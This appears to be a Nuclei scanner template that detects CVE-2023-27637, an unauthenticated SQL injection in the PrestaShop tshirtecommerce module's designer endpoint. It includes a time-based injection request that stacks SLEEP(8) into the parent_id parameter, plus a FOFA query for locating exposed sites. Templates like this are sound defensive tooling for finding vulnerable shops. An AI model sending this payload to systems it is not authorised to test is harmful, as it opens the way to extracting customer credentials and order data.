Description
The tshirtecommerce module for PrestaShop is vulnerable to unauthenticated SQL injection via the designer endpoint, allowing attackers to execute arbitrary SQL queries and extract sensitive information from the database.
The tshirtecommerce module for PrestaShop is vulnerable to unauthenticated SQL injection via the designer endpoint, allowing attackers to execute arbitrary SQL queries and extract sensitive information from the database.
id: CVE-2023-27637
info:
name: PrestaShop `tshirtecommerce` Module - SQL Injection
author: ritikchaddha
severity: critical
description: |
The tshirtecommerce module for PrestaShop is vulnerable to unauthenticated SQL injection via the designer endpoint, allowing attackers to execute arbitrary SQL queries and extract sensitive information from the database.
impact: |
Unauthenticated attackers can execute time-based SQL injection through the parent_id parameter in the designer endpoint to extract the complete PrestaShop database including user credentials and order data.
remediation: |
Update the tshirtecommerce module to the latest version and apply all security patches.
reference:
- https://security.friendsofpresta.org/module/2023/03/21/tshirtecommerce_cwe-89.html
- https://nvd.nist.gov/vuln/detail/CVE-2023-27637
- https://codecanyon.net/item/prestashop-custom-product-designer/19202018
- https://tshirtecommerce.com/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-27637
cwe-id: CWE-89
epss-score: 0.03299
epss-percentile: 0.87889
cpe: cpe:2.3:a:tshirtecommerce:custom_product_designer:2.1.4:*:*:*:*:prestashop:*:*
metadata:
max-request: 1
vendor: tshirtecommerce
product: custom_product_designer
framework: prestashop
fofa-query: body="Prestashop" && body="tshirtecommerce"
tags: cve,cve2023,prestashop,tshirtecommerce,sqli,time-based-sqli,vkev,vuln
http:
- raw:
- |
@timeout: 30s
GET /module/tshirtecommerce/designer?product_id=900982561&parent_id=1;SELECT%20SLEEP(8); HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "duration>=8"
- "status_code == 200"
- "contains(tolower(body), 'product not found')"
condition: and
# digest: 4a0a00473045022100f6e6b5a78821571e935ade987f136edfa8be370a2c36fe47da34cf8f148bec3b0220572a801d501150fee2f931303d3ad76348e3a5a25996260a2bd9dd97d32e5738:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.